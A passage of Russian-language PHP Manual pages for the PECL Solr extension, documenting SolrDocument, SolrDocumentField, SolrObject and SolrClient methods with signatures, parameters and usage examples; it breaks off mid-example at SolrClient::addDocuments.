Проверяет, существует ли поле в документе

  • « SolrDocument::__destruct
  • SolrDocument::__get »
  • PHP Manual
  • SolrDocument
  • Проверяет, существует ли поле в документе

SolrDocument::fieldExists

(PECL solr >= 0.9.2)

SolrDocument::fieldExists — Проверяет, существует ли поле в документе

Описание

public SolrDocument::fieldExists(string $fieldName): bool

Проверяет, является ли запрошенное поле корректным именем поля в документе.

Список параметров

fieldName

Название поля

Возвращаемые значения

Возвращает true в случае если поле присутствует и false если это не так.

User Contributed Notes

There are no user contributed notes for this page.


Доступ к полю как свойству

  • « SolrDocument::fieldExists
  • SolrDocument::getChildDocuments »
  • PHP Manual
  • SolrDocument
  • Доступ к полю как свойству

SolrDocument::__get

(PECL solr >= 0.9.2)

SolrDocument::__get — Доступ к полю как свойству

Описание

public SolrDocument::__get(string $fieldName): SolrDocumentField

Магический метод для доступа к полю как свойству.

Список параметров

fieldName

Название поля

Возвращаемые значения

Возвращает экземпляр SolrDocumentField.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив дочерних документов (SolrDocument)

  • « SolrDocument::__get
  • SolrDocument::getChildDocumentsCount »
  • PHP Manual
  • SolrDocument
  • Возвращает массив дочерних документов (SolrDocument)

SolrDocument::getChildDocuments

(PECL solr >= 2.3.0)

SolrDocument::getChildDocuments — Возвращает массив дочерних документов (SolrDocument)

Описание

public SolrDocument::getChildDocuments(): array

Возвращает массив дочерних документов (SolrDocument)

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrDocument::hasChildDocuments() - Проверяет, есть ли у документа дочерние документы
  • SolrDocument::getChildDocumentsCount() - Возвращает количество дочерних документов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество дочерних документов

  • « SolrDocument::getChildDocuments
  • SolrDocument::getField »
  • PHP Manual
  • SolrDocument
  • Возвращает количество дочерних документов

SolrDocument::getChildDocumentsCount

(PECL solr >= 2.3.0)

SolrDocument::getChildDocumentsCount — Возвращает количество дочерних документов

Описание

public SolrDocument::getChildDocumentsCount(): int

Возвращает количество дочерних документов

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrDocument::hasChildDocuments() - Проверяет, есть ли у документа дочерние документы
  • SolrDocument::getChildDocuments() - Возвращает массив дочерних документов (SolrDocument)

User Contributed Notes

There are no user contributed notes for this page.


Получает поле по имени

  • « SolrDocument::getChildDocumentsCount
  • SolrDocument::getFieldCount »
  • PHP Manual
  • SolrDocument
  • Получает поле по имени

SolrDocument::getField

(PECL solr >= 0.9.2)

SolrDocument::getField — Получает поле по имени

Описание

public SolrDocument::getField(string $fieldName): SolrDocumentField

Метод получает поле по имени.

Список параметров

fieldName

Название поля.

Возвращаемые значения

Метод возвращает экземпляр класса SolrDocumentField в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество полей в этом документе

  • « SolrDocument::getField
  • SolrDocument::getFieldNames »
  • PHP Manual
  • SolrDocument
  • Возвращает количество полей в этом документе

SolrDocument::getFieldCount

(PECL solr >= 0.9.2)

SolrDocument::getFieldCount — Возвращает количество полей в этом документе

Описание

public SolrDocument::getFieldCount(): int

Возвращает количество полей в этом документе. Многозначные поля учитываются только один раз.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число в случае успешного выполнения и false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив имён полей в документе

  • « SolrDocument::getFieldCount
  • SolrDocument::getInputDocument »
  • PHP Manual
  • SolrDocument
  • Возвращает массив имён полей в документе

SolrDocument::getFieldNames

(PECL solr >= 0.9.2)

SolrDocument::getFieldNames — Возвращает массив имён полей в документе

Описание

public SolrDocument::getFieldNames(): array

Возвращает массив имён полей в документе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив, содержащий имена полей в этом документе.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает SolrInputDocument эквивалент объекта

  • « SolrDocument::getFieldNames
  • SolrDocument::hasChildDocuments »
  • PHP Manual
  • SolrDocument
  • Возвращает SolrInputDocument эквивалент объекта

SolrDocument::getInputDocument

(PECL solr >= 0.9.2)

SolrDocument::getInputDocument — Возвращает SolrInputDocument эквивалент объекта

Описание

public SolrDocument::getInputDocument(): SolrInputDocument

Возвращает SolrInputDocument эквивалент объекта. Это полезно, если вы хотите повторно отправить/обновить документ, полученный из запроса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает SolrInputDocument в случае успешного выполнения и null в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, есть ли у документа дочерние документы

  • « SolrDocument::getInputDocument
  • SolrDocument::__isset »
  • PHP Manual
  • SolrDocument
  • Проверяет, есть ли у документа дочерние документы

SolrDocument::hasChildDocuments

(PECL solr >= 2.3.0)

SolrDocument::hasChildDocuments — Проверяет, есть ли у документа дочерние документы

Описание

public SolrDocument::hasChildDocuments(): bool

Проверяет, есть ли у документа дочерние документы

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrDocument::getChildDocuments() - Возвращает массив дочерних документов (SolrDocument)
  • SolrDocument::getChildDocumentsCount() - Возвращает количество дочерних документов

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, существует ли поле

  • « SolrDocument::hasChildDocuments
  • SolrDocument::key »
  • PHP Manual
  • SolrDocument
  • Проверяет, существует ли поле

SolrDocument::__isset

(PECL solr >= 0.9.2)

SolrDocument::__isset — Проверяет, существует ли поле

Описание

public SolrDocument::__isset(string $fieldName): bool

Проверяет, существует ли поле

Список параметров

fieldName

Название поля.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Получает текущий ключ

  • « SolrDocument::__isset
  • SolrDocument::merge »
  • PHP Manual
  • SolrDocument
  • Получает текущий ключ

SolrDocument::key

(PECL solr >= 0.9.2)

SolrDocument::key — Получает текущий ключ

Описание

public SolrDocument::key(): string

Получает текущий ключ.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущий ключ.

User Contributed Notes

There are no user contributed notes for this page.


Сливает источник в текущий SolrDocument

  • « SolrDocument::key
  • SolrDocument::next »
  • PHP Manual
  • SolrDocument
  • Сливает источник в текущий SolrDocument

SolrDocument::merge

(PECL solr >= 0.9.2)

SolrDocument::merge — Сливает источник в текущий SolrDocument

Описание

public SolrDocument::merge(SolrDocument $sourceDoc, bool $overwrite = true): bool

Сливает источник в текущий SolrDocument.

Список параметров

sourceDoc

Исходный документ.

overwrite

Если указано true, тогда поля с тем же именем в целевом документе будут перезаписаны.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Перемещает внутренний указатель на следующее поле

  • « SolrDocument::merge
  • SolrDocument::offsetExists »
  • PHP Manual
  • SolrDocument
  • Перемещает внутренний указатель на следующее поле

SolrDocument::next

(PECL solr >= 0.9.2)

SolrDocument::next — Перемещает внутренний указатель на следующее поле

Описание

public SolrDocument::next(): void

Перемещает внутренний указатель на следующее поле.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод не имеет возвращаемого значения.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, существует ли конкретное поле

  • « SolrDocument::next
  • SolrDocument::offsetGet »
  • PHP Manual
  • SolrDocument
  • Проверяет, существует ли конкретное поле

SolrDocument::offsetExists

(PECL solr >= 0.9.2)

SolrDocument::offsetExists — Проверяет, существует ли конкретное поле

Описание

public SolrDocument::offsetExists(string $fieldName): bool

Проверяет, существует ли определённое поле. Используется, когда объект обрабатывается как массив.

Список параметров

fieldName

Название поля.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Получает поле

  • « SolrDocument::offsetExists
  • SolrDocument::offsetSet »
  • PHP Manual
  • SolrDocument
  • Получает поле

SolrDocument::offsetGet

(PECL solr >= 0.9.2)

SolrDocument::offsetGet — Получает поле

Описание

public SolrDocument::offsetGet(string $fieldName): SolrDocumentField

Используется для извлечения поля, когда объект рассматривается как массив.

Список параметров

fieldName

Название поля.

Возвращаемые значения

Возвращает объект SolrDocumentFiel.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет поле в документ

  • « SolrDocument::offsetGet
  • SolrDocument::offsetUnset »
  • PHP Manual
  • SolrDocument
  • Добавляет поле в документ

SolrDocument::offsetSet

(PECL solr >= 0.9.2)

SolrDocument::offsetSet — Добавляет поле в документ

Описание

public SolrDocument::offsetSet(string $fieldName, string $fieldValue): void

Используется, когда объект обрабатывается как массив для добавления поля в документ.

Список параметров

fieldName

Название поля.

fieldValue

Значение для этого поля.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет поле

  • « SolrDocument::offsetSet
  • SolrDocument::reset »
  • PHP Manual
  • SolrDocument
  • Удаляет поле

SolrDocument::offsetUnset

(PECL solr >= 0.9.2)

SolrDocument::offsetUnset — Удаляет поле

Описание

public SolrDocument::offsetUnset(string $fieldName): void

Удаляет поле из документа.

Список параметров

fieldName

Название поля.

Возвращаемые значения

Нет возвращаемого значения.

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним SolrDocument::clear

  • « SolrDocument::offsetUnset
  • SolrDocument::rewind »
  • PHP Manual
  • SolrDocument
  • Псевдоним SolrDocument::clear

SolrDocument::reset

(PECL solr >= 0.9.2)

SolrDocument::reset — Псевдоним SolrDocument::clear()

Описание

public SolrDocument::reset(): bool

Псевдоним SolrDocument::clear()

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает внутренний указатель на начало

  • « SolrDocument::reset
  • SolrDocument::serialize »
  • PHP Manual
  • SolrDocument
  • Сбрасывает внутренний указатель на начало

SolrDocument::rewind

(PECL solr >= 0.9.2)

SolrDocument::rewind — Сбрасывает внутренний указатель на начало

Описание

public SolrDocument::rewind(): void

Сбрасывает внутренний указатель на начало.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод не имеет возвращаемого значения.

User Contributed Notes

There are no user contributed notes for this page.


Используется для пользовательской сериализации

  • « SolrDocument::rewind
  • SolrDocument::__set »
  • PHP Manual
  • SolrDocument
  • Используется для пользовательской сериализации

SolrDocument::serialize

(PECL solr >= 0.9.2)

SolrDocument::serialize — Используется для пользовательской сериализации

Описание

public SolrDocument::serialize(): string

Используется для пользовательской сериализации.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, представляющую сериализованный документ Solr.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет ещё одно поле в документ

  • « SolrDocument::serialize
  • SolrDocument::sort »
  • PHP Manual
  • SolrDocument
  • Добавляет ещё одно поле в документ

SolrDocument::__set

(PECL solr >= 0.9.2)

SolrDocument::__set — Добавляет ещё одно поле в документ

Описание

public SolrDocument::__set(string $fieldName, string $fieldValue): bool

Добавляет ещё одно поле в документ. Используется для установки полей в качестве новых свойств.

Список параметров

fieldName

Название поля.

fieldValue

Значение поля.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Сортирует поля в документе

  • « SolrDocument::__set
  • SolrDocument::toArray »
  • PHP Manual
  • SolrDocument
  • Сортирует поля в документе

SolrDocument::sort

(PECL solr >= 0.9.2)

SolrDocument::sort — Сортирует поля в документе

Описание

public SolrDocument::sort(int $sortOrderBy, int $sortDirection = SolrDocument::SORT_ASC): bool

Поля упорядочены в соответствии с указанными критериями и направлением сортировки.

   Поля могут быть отсортированы по значениям повышения, именам полей и количеству значений.

   Параметр sortOrderBy должен быть одним из :

   * SolrDocument::SORT_FIELD_NAME
   * SolrDocument::SORT_FIELD_BOOST_VALUE
   * SolrDocument::SORT_FIELD_VALUE_COUNT

   Направление sortDirection может быть одним из :

   * SolrDocument::SORT_DEFAULT
   * SolrDocument::SORT_ASC
   * SolrDocument::SORT_DESC

   Способ по умолчанию - сортировка в порядке возрастания.

Список параметров

sortOrderBy

Критерий сортировки.

sortDirection

Направление сортировки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление массива документа

  • « SolrDocument::sort
  • SolrDocument::unserialize »
  • PHP Manual
  • SolrDocument
  • Возвращает представление массива документа

SolrDocument::toArray

(PECL solr >= 0.9.2)

SolrDocument::toArray — Возвращает представление массива документа

Описание

public SolrDocument::toArray(): array

Возвращает представление массива документа.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает представление массива документа.

Примеры

Пример #1 Пример использования SolrDocument::toArray()

<?php

$doc = new SolrDocument();

$doc->addField('id', 1123);

$doc->features = "PHP Client Side";
$doc->features = "Fast development cycles";

$doc['cat'] = 'Software';
$doc['cat'] = 'Custom Search';
$doc->cat = 'Information Technology';

print_r($doc->toArray());

?>

Вывод приведённого примера будет похож на:

Array
(
    [document_boost] => 0
    [field_count] => 3
    [fields] => Array
        (
            [0] => SolrDocumentField Object
                (
                    [name] => id
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => 1123
                        )

                )

            [1] => SolrDocumentField Object
                (
                    [name] => features
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => PHP Client Side
                            [1] => Fast development cycles
                        )

                )

            [2] => SolrDocumentField Object
                (
                    [name] => cat
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => Software
                            [1] => Custom Search
                            [2] => Information Technology
                        )

                )

        )

)

User Contributed Notes

There are no user contributed notes for this page.


Пользовательская сериализация объектов SolrDocument

  • « SolrDocument::toArray
  • SolrDocument::__unset »
  • PHP Manual
  • SolrDocument
  • Пользовательская сериализация объектов SolrDocument

SolrDocument::unserialize

(PECL solr >= 0.9.2)

SolrDocument::unserialize — Пользовательская сериализация объектов SolrDocument

Описание

public SolrDocument::unserialize(string $serialized): void

Пользовательская сериализация объектов SolrDocument

Список параметров

serialized

XML-представление документа.

Возвращаемые значения

Ничего.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет поле из документа

  • « SolrDocument::unserialize
  • SolrDocument::valid »
  • PHP Manual
  • SolrDocument
  • Удаляет поле из документа

SolrDocument::__unset

(PECL solr >= 0.9.2)

SolrDocument::__unset — Удаляет поле из документа

Описание

public SolrDocument::__unset(string $fieldName): bool

Удаляет поле из документа, когда к полю обращаются как к свойству объекта.

Список параметров

fieldName

Название поля.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли текущая позиция внутренне корректной

  • « SolrDocument::__unset
  • SolrDocumentField »
  • PHP Manual
  • SolrDocument
  • Проверяет, является ли текущая позиция внутренне корректной

SolrDocument::valid

(PECL solr >= 0.9.2)

SolrDocument::valid — Проверяет, является ли текущая позиция внутренне корректной

Описание

public SolrDocument::valid(): bool

Проверяет, является ли текущая позиция внутренне корректной. Используется во время операций foreach.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения и false, если текущая позиция больше не действительна.

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrDocumentField

(PECL solr >= 0.9.2)

Введение

Класс представляет поле в документе Solr. Свойства поля доступны только для чтения.

Обзор классов

final class SolrDocumentField {
/* Свойства */
public readonly string $name;
public readonly float $boost;
public readonly array $values;
/* Методы */
public __construct()
public __destruct()
}

Свойства

name

Название поля.

boost

Значение повышения для поля

values

Массив значений для этого поля

Содержание

  • SolrDocumentField::__construct — Конструктор
  • SolrDocumentField::__destruct — Деструктор

User Contributed Notes

There are no user contributed notes for this page.


Конструктор

  • « SolrDocumentField
  • SolrDocumentField::__destruct »
  • PHP Manual
  • SolrDocumentField
  • Конструктор

SolrDocumentField::__construct

(PECL solr >= 0.9.2)

SolrDocumentField::__construct — Конструктор

Описание

public SolrDocumentField::__construct()

Конструктор.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Нет.

User Contributed Notes

There are no user contributed notes for this page.


Деструктор

  • « SolrDocumentField::__construct
  • SolrObject »
  • PHP Manual
  • SolrDocumentField
  • Деструктор

SolrDocumentField::__destruct

(PECL solr >= 0.9.2)

SolrDocumentField::__destruct — Деструктор

Описание

public SolrDocumentField::__destruct()

Деструктор.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Нет.

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrObject

(PECL solr >= 0.9.2)

Введение

Объект, свойства которого можно также получить с помощью синтаксиса массива. Все его свойства доступны только для чтения.

Обзор классов

final class SolrObject implements ArrayAccess {
/* Методы */
public __construct()
public getPropertyNames(): array
public offsetExists(string $property_name): bool
public offsetGet(string $property_name): mixed
public offsetSet(string $property_name, string $property_value): void
public offsetUnset(string $property_name): void
public __destruct()
}

Содержание

  • SolrObject::__construct — Создаёт объект Solr
  • SolrObject::__destruct — Деструктор
  • SolrObject::getPropertyNames — Возвращает массив всех имён свойств
  • SolrObject::offsetExists — Проверяет, существует ли свойство
  • SolrObject::offsetGet — Используется для получения свойства
  • SolrObject::offsetSet — Устанавливает значение свойства
  • SolrObject::offsetUnset — Сбрасывает значение свойства

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект Solr

  • « SolrObject
  • SolrObject::__destruct »
  • PHP Manual
  • SolrObject
  • Создаёт объект Solr

SolrObject::__construct

(PECL solr >= 0.9.2)

SolrObject::__construct — Создаёт объект Solr

Описание

public SolrObject::__construct()

Создаёт объект Solr.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ничего не возвращает

Примеры

Пример #1 Пример использования SolrObject::__construct()

<?php
/* ... */
?>

Вывод приведённого примера будет похож на:

...

User Contributed Notes

There are no user contributed notes for this page.


Деструктор

  • « SolrObject::__construct
  • SolrObject::getPropertyNames »
  • PHP Manual
  • SolrObject
  • Деструктор

SolrObject::__destruct

(PECL solr >= 0.9.2)

SolrObject::__destruct — Деструктор

Описание

public SolrObject::__destruct()

Пример использования

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ничего не возвращает.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив всех имён свойств

  • « SolrObject::__destruct
  • SolrObject::offsetExists »
  • PHP Manual
  • SolrObject
  • Возвращает массив всех имён свойств

SolrObject::getPropertyNames

(PECL solr >= 0.9.2)

SolrObject::getPropertyNames — Возвращает массив всех имён свойств

Описание

public SolrObject::getPropertyNames(): array

Возвращает массив всех имён свойств.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив.

User Contributed Notes

dohpaz at nospam dot net 20-May-2010 11:21
It should be noted that when using SolrObject::getPropertyNames(), the array keys have an invisible character that needs to be trim()'d to work correctly.


Проверяет, существует ли свойство

  • « SolrObject::getPropertyNames
  • SolrObject::offsetGet »
  • PHP Manual
  • SolrObject
  • Проверяет, существует ли свойство

SolrObject::offsetExists

(PECL solr >= 0.9.2)

SolrObject::offsetExists — Проверяет, существует ли свойство

Описание

public SolrObject::offsetExists(string $property_name): bool

Проверяет, существует ли свойство. Используется, когда объект обрабатывается как массив.

Список параметров

property_name

Название свойства.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Используется для получения свойства

  • « SolrObject::offsetExists
  • SolrObject::offsetSet »
  • PHP Manual
  • SolrObject
  • Используется для получения свойства

SolrObject::offsetGet

(PECL solr >= 0.9.2)

SolrObject::offsetGet — Используется для получения свойства

Описание

public SolrObject::offsetGet(string $property_name): mixed

Используется для получения свойства. Используется, когда объект обрабатывается как массив.

Список параметров

property_name

Имя свойства.

Возвращаемые значения

Возвращает значение свойства.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает значение свойства

  • « SolrObject::offsetGet
  • SolrObject::offsetUnset »
  • PHP Manual
  • SolrObject
  • Устанавливает значение свойства

SolrObject::offsetSet

(PECL solr >= 0.9.2)

SolrObject::offsetSet — Устанавливает значение свойства

Описание

public SolrObject::offsetSet(string $property_name, string $property_value): void

Устанавливает значение свойства. Используется, когда объект обрабатывается как массив. Этот объект доступен только для чтения. Этого никогда не следует делать.

Список параметров

property_name

Имя свойства.

property_value

Новое значение.

Возвращаемые значения

Ничего не возвращает.

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает значение свойства

  • « SolrObject::offsetSet
  • SolrClient »
  • PHP Manual
  • SolrObject
  • Сбрасывает значение свойства

SolrObject::offsetUnset

(PECL solr >= 0.9.2)

SolrObject::offsetUnset — Сбрасывает значение свойства

Описание

public SolrObject::offsetUnset(string $property_name): void

Сбрасывает значение свойства. Используется, когда объект обрабатывается как массив. Этот объект доступен только для чтения. Этого никогда не следует делать.

Список параметров

property_name

Имя свойства.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования SolrObject::offsetUnset()

<?php
/* ... */
?>

Вывод приведённого примера будет похож на:

...

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrClient

(PECL solr >= 0.9.2)

Введение

Используется для отправки запросов на сервер Solr. В настоящее время клонирование и сериализация экземпляров SolrClient не поддерживается.

Обзор классов

final class SolrClient {
/* Константы */
const int SEARCH_SERVLET_TYPE = 1;
const int UPDATE_SERVLET_TYPE = 2;
const int THREADS_SERVLET_TYPE = 4;
const int PING_SERVLET_TYPE = 8;
const int TERMS_SERVLET_TYPE = 16;
const int SYSTEM_SERVLET_TYPE = 32;
const string DEFAULT_SEARCH_SERVLET = select;
const string DEFAULT_UPDATE_SERVLET = update;
const string DEFAULT_THREADS_SERVLET = admin/threads;
const string DEFAULT_PING_SERVLET = admin/ping;
const string DEFAULT_TERMS_SERVLET = terms;
const string DEFAULT_SYSTEM_SERVLET = admin/system;
/* Методы */
public __construct(array $clientOptions)
public addDocument(SolrInputDocument $doc, bool $overwrite = true, int $commitWithin = 0): SolrUpdateResponse
public addDocuments(array $docs, bool $overwrite = true, int $commitWithin = 0): void
public commit(bool $softCommit = false, bool $waitSearcher = true, bool $expungeDeletes = false): SolrUpdateResponse
public deleteById(string $id): SolrUpdateResponse
public deleteByIds(array $ids): SolrUpdateResponse
public deleteByQueries(array $queries): SolrUpdateResponse
public deleteByQuery(string $query): SolrUpdateResponse
public getById(string $id): SolrQueryResponse
public getByIds(array $ids): SolrQueryResponse
public getDebug(): string
public getOptions(): array
public optimize(int $maxSegments = 1, bool $softCommit = true, bool $waitSearcher = true): SolrUpdateResponse
public ping(): SolrPingResponse
public query(SolrParams $query): SolrQueryResponse
public request(string $raw_request): SolrUpdateResponse
public rollback(): SolrUpdateResponse
public setResponseWriter(string $responseWriter): void
public setServlet(int $type, string $value): bool
public system(): void
public threads(): void
public __destruct()
}

Предопределённые константы

SolrClient::SEARCH_SERVLET_TYPE

Используется при обновлении сервлета поиска.

SolrClient::UPDATE_SERVLET_TYPE

Используется при обновлении сервлета обновления.

SolrClient::THREADS_SERVLET_TYPE

Используется при обновлении сервлета потоков.

SolrClient::PING_SERVLET_TYPE

Используется при обновлении сервлета ping.

SolrClient::TERMS_SERVLET_TYPE

Используется при обновлении терминов сервлет.

SolrClient::SYSTEM_SERVLET_TYPE

Используется при получении системной информации из системного сервлета.

SolrClient::DEFAULT_SEARCH_SERVLET

Это начальное значение для поискового сервлета.

SolrClient::DEFAULT_UPDATE_SERVLET

Это начальное значение для сервлета обновления.

SolrClient::DEFAULT_THREADS_SERVLET

Это начальное значение для сервлета потоков.

SolrClient::DEFAULT_PING_SERVLET

Это начальное значение для сервлета ping.

SolrClient::DEFAULT_TERMS_SERVLET

Это начальное значение для терминов сервлет, используемых для TermsComponent

SolrClient::DEFAULT_SYSTEM_SERVLET

Это начальное значение для системного сервлета, используемого для получения информации о сервере Solr.

Содержание

  • SolrClient::addDocument — Добавляет документ в индекс
  • SolrClient::addDocuments — Добавляет коллекцию экземпляров SolrInputDocument в индекс
  • SolrClient::commit — Завершает все добавления/удаления, сделанные в индексе
  • SolrClient::__construct — Конструктор объекта SolrClient
  • SolrClient::deleteById — Удаляет по идентификатору
  • SolrClient::deleteByIds — Удаляет по идентификаторам
  • SolrClient::deleteByQueries — Удаляет все документы, соответствующие любому из запросов
  • SolrClient::deleteByQuery — Удаляет все документы, соответствующие заданному запросу
  • SolrClient::__destruct — Деструктор SolrClient
  • SolrClient::getById — Получает документ по идентификатору. Использует Solr Realtime Get (RTG)
  • SolrClient::getByIds — Получает документы по их идентификаторам. Использует Solr Realtime Get (RTG)
  • SolrClient::getDebug — Возвращает данные отладки для последней попытки подключения
  • SolrClient::getOptions — Возвращает внутренние параметры клиента
  • SolrClient::optimize — Дефрагментирует индекс
  • SolrClient::ping — Проверяет, работает ли сервер Solr
  • SolrClient::query — Отправляет запрос на сервер
  • SolrClient::request — Отправляет необработанный запрос на обновление
  • SolrClient::rollback — Откатывает все добавления/удаления, сделанные в индекс с момента последней фиксации
  • SolrClient::setResponseWriter — Устанавливает писатель ответа, используемый для подготовки ответа от Solr
  • SolrClient::setServlet — Изменяет указанный тип сервлета на новое значение
  • SolrClient::system — Получает информацию о сервере Solr
  • SolrClient::threads — Проверяет статус тем

User Contributed Notes

There are no user contributed notes for this page.


Добавляет документ в индекс

  • « SolrClient
  • SolrClient::addDocuments »
  • PHP Manual
  • SolrClient
  • Добавляет документ в индекс

SolrClient::addDocument

(PECL solr >= 0.9.2)

SolrClient::addDocument — Добавляет документ в индекс

Описание

public SolrClient::addDocument(SolrInputDocument $doc, bool $overwrite = true, int $commitWithin = 0): SolrUpdateResponse

Метод добавляет документ в индекс.

Список параметров

doc

Экземпляр SolrInputDocument.

overwrite

Следует ли перезаписывать существующий документ или нет. Если указано false, будут разрешены дубликаты (несколько документов с одинаковым ID).

Внимание

В PECL Solr < 2.0 $allowDups использовался вместо $overwrite, который выполняет те же функции с полностью противоположным флагом bool.

$allowDups = false тоже самое, что и $overwrite = true

commitWithin

Количество миллисекунд для автоматической фиксации документа. Доступно, начиная с Solr 1.4. По умолчанию (0) означает отключено.

Если значение указано, остаётся контроль над тем, когда делать фиксацию для самого Solr, оптимизируя количество коммитов до минимума, при этом соблюдая требования к задержке обновления, и Solr автоматически выполнит фиксацию, когда наступит самое старое добавление в буфер.

Возвращаемые значения

Возвращает объект SolrUpdateResponse или выбрасывает исключение в случае возникновения ошибки.

Ошибки

Выбрасывает SolrClientException, если клиент отказал или возникла проблема с подключением.

Выбрасывает SolrServerException, если сервер Solr не смог обработать запрос.

Примеры

Пример #1 Пример использования SolrClient::addDocument()

<?php

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$updateResponse = $client->addDocument($doc);

// вам нужно будет зафиксировать изменения, которые будут записаны, если вы не использовали $commitWithin
$client->commit();

print_r($updateResponse->getResponse());

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
        )

)

Пример #2 Пример использования SolrClient::addDocument() #2

<?php

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

// Нет необходимости вызывать commit(), потому что передаётся $commitWithin, поэтому Solr Server будет автоматически фиксировать в течение 10 секунд
$updateResponse = $client->addDocument($doc, false, 10000);

print_r($updateResponse->getResponse());

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
        )

)

Смотрите также

  • SolrClient::addDocuments() - Добавляет коллекцию экземпляров SolrInputDocument в индекс
  • SolrClient::commit() - Завершает все добавления/удаления, сделанные в индексе

User Contributed Notes

There are no user contributed notes for this page.


Добавляет коллекцию экземпляров SolrInputDocument в индекс

  • « SolrClient::addDocument
  • SolrClient::commit »
  • PHP Manual
  • SolrClient
  • Добавляет коллекцию экземпляров SolrInputDocument в индекс

SolrClient::addDocuments

(PECL solr >= 0.9.2)

SolrClient::addDocuments — Добавляет коллекцию экземпляров SolrInputDocument в индекс

Описание

public SolrClient::addDocuments(array $docs, bool $overwrite = true, int $commitWithin = 0): void

Добавляет коллекцию документов в индекс.

Список параметров

docs

Массив, содержащий коллекцию экземпляров SolrInputDocument. Этот массив должен быть реальной переменной.

overwrite

Стоит ли перезаписывать существующие документы или нет. Если указано значение false, будут разрешены дубликаты (несколько документов с одинаковым ID).

Внимание

В PECL Solr < 2.0 $allowDups использовался вместо $overwrite, который выполняет те же функции с полностью противоположным флагом bool.

$allowDups = false тоже самое, что и $overwrite = true

commitWithin

Количество миллисекунд для автоматической фиксации документа. Доступно, начиная с Solr 1.4. По умолчанию (0) означает отключено.

Если значение указано, остаётся контроль над тем, когда делать фиксацию для самого Solr, оптимизируя количество коммитов до минимума, при этом соблюдая требования к задержке обновления, и Solr автоматически выполнит фиксацию, когда наступит самое старое добавление в буфер.

Возвращаемые значения

Возвращает объект SolrUpdateResponse или выбрасывает исключение в случае возникновения ошибки.

Ошибки

Выбрасывает SolrClientException, если клиент отказал или возникла проблема с подключением.

Выбрасывает SolrServerException, если сервер Solr не смог обработать запрос.

Примеры

Пример #1 Пример использования SolrClient::addDocuments()

<?php

$options = array
(
